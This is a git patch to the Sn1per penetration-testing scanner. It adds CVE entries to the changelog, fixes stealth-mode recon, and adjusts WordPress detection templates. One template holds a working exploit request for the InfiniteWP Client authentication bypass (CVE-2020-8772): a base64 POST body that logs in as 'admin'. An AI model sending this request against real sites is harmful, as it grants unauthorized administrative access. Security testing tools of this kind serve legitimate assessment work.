From 4adbb24a489abe4d75a463d1f51b97b66ede68c4 Mon Sep 17 00:00:00 2001 From: "@xer0dayz" <1n3@hushmail.com> Date: Sun, 23 Aug 2020 16:48:13 -0700 Subject: [PATCH] * v8.7 - Fixed logic error in stealth mode recon scans not running * v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset * v8.7 - Fixed F- detection in Wordpress Sc0pe templates * v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection * v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE --- CHANGELOG.md | 5 +++++ modes/stealth.sh | 6 +++--- ...72_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh | 2 +- templates/active/Directory_Listing_Enabled.sh | 2 +- templates/active/Wordpres_Scanner_1.sh | 2 +- templates/active/Wordpres_Scanner_2.sh | 2 +- templates/active/Wordpres_Scanner_3.sh | 2 +- 7 files changed, 13 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7890a01..429ca9f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,9 @@ ## CHANGELOG: +* v8.7 - Fixed logic error in stealth mode recon scans not running +* v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset +* v8.7 - Fixed F- detection in Wordpress Sc0pe templates +* v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection +* v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE * v8.7 - Added CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass * v8.6 - Added new Sn1per configuration flow that allows persistent user configurations and API key transfer * v8.6 - Updated port lists to remove duplicate ports error and slim down list diff --git a/modes/stealth.sh b/modes/stealth.sh index d3b5a7f..1836594 100644 --- a/modes/stealth.sh +++ b/modes/stealth.sh @@ -115,11 +115,11 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i \"wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp\" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null$RESET" fi cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null - source $INSTALL_DIR/modes/osint.sh - source $INSTALL_DIR/modes/recon.sh - cd $INSTALL_DIR echo "" fi + source $INSTALL_DIR/modes/osint.sh + source $INSTALL_DIR/modes/recon.sh + cd $INSTALL_DIR echo "" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" diff --git a/templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh b/templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh index 5883ed1..26e54b1 100644 --- a/templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh +++ b/templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='CVE-2020-8772 - InfiniteWP Client 1.9.4.5 - Authentication Bypass 1' URI='/wp-admin/' METHOD='POST' -MATCH="content\=\"WordPress\ " +MATCH="IWPHEADER" SEVERITY='P2 - HIGH' CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' --data '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='" SECONDARY_COMMANDS='' diff --git a/templates/active/Directory_Listing_Enabled.sh b/templates/active/Directory_Listing_Enabled.sh index e8604ad..2c9343a 100644 --- a/templates/active/Directory_Listing_Enabled.sh +++ b/templates/active/Directory_Listing_Enabled.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Directory Listing Enabled' URI='/' METHOD='GET' -MATCH="Index\ of|To\ Parent\ Directory" +MATCH="Index\ of|To\ Parent\ Directory" SEVERITY='P4 - LOW' CURL_OPTS="--user-agent '' -s -L --insecure" SECONDARY_COMMANDS='' diff --git a/templates/active/Wordpres_Scanner_1.sh b/templates/active/Wordpres_Scanner_1.sh index 2e463b9..495ebc4 100644 --- a/templates/active/Wordpres_Scanner_1.sh +++ b/templates/active/Wordpres_Scanner_1.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Wordpress Detected 1' URI='/' METHOD='GET' -MATCH="content\=\"WordPress\ " +MATCH="content\=\"WordPress" SEVERITY='P5 - INFO' CURL_OPTS="--user-agent '' -s -L --insecure" SECONDARY_COMMANDS='' diff --git a/templates/active/Wordpres_Scanner_2.sh b/templates/active/Wordpres_Scanner_2.sh index 21b69c6..2912cbe 100644 --- a/templates/active/Wordpres_Scanner_2.sh +++ b/templates/active/Wordpres_Scanner_2.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Wordpress Detected 2' URI='/blog/' METHOD='GET' -MATCH="content\=\"WordPress\ " +MATCH="content\=\"WordPress" SEVERITY='P5 - INFO' CURL_OPTS="--user-agent '' -s -L --insecure" SECONDARY_COMMANDS='' diff --git a/templates/active/Wordpres_Scanner_3.sh b/templates/active/Wordpres_Scanner_3.sh index 336c4d5..7fad024 100644 --- a/templates/active/Wordpres_Scanner_3.sh +++ b/templates/active/Wordpres_Scanner_3.sh @@ -2,7 +2,7 @@ AUTHOR='@xer0dayz' VULN_NAME='Wordpress Detected 3' URI='/wordpress/' METHOD='GET' -MATCH="content\=\"WordPress\ " +MATCH="content\=\"WordPress" SEVERITY='P5 - INFO' CURL_OPTS="--user-agent '' -s -L --insecure" SECONDARY_COMMANDS=''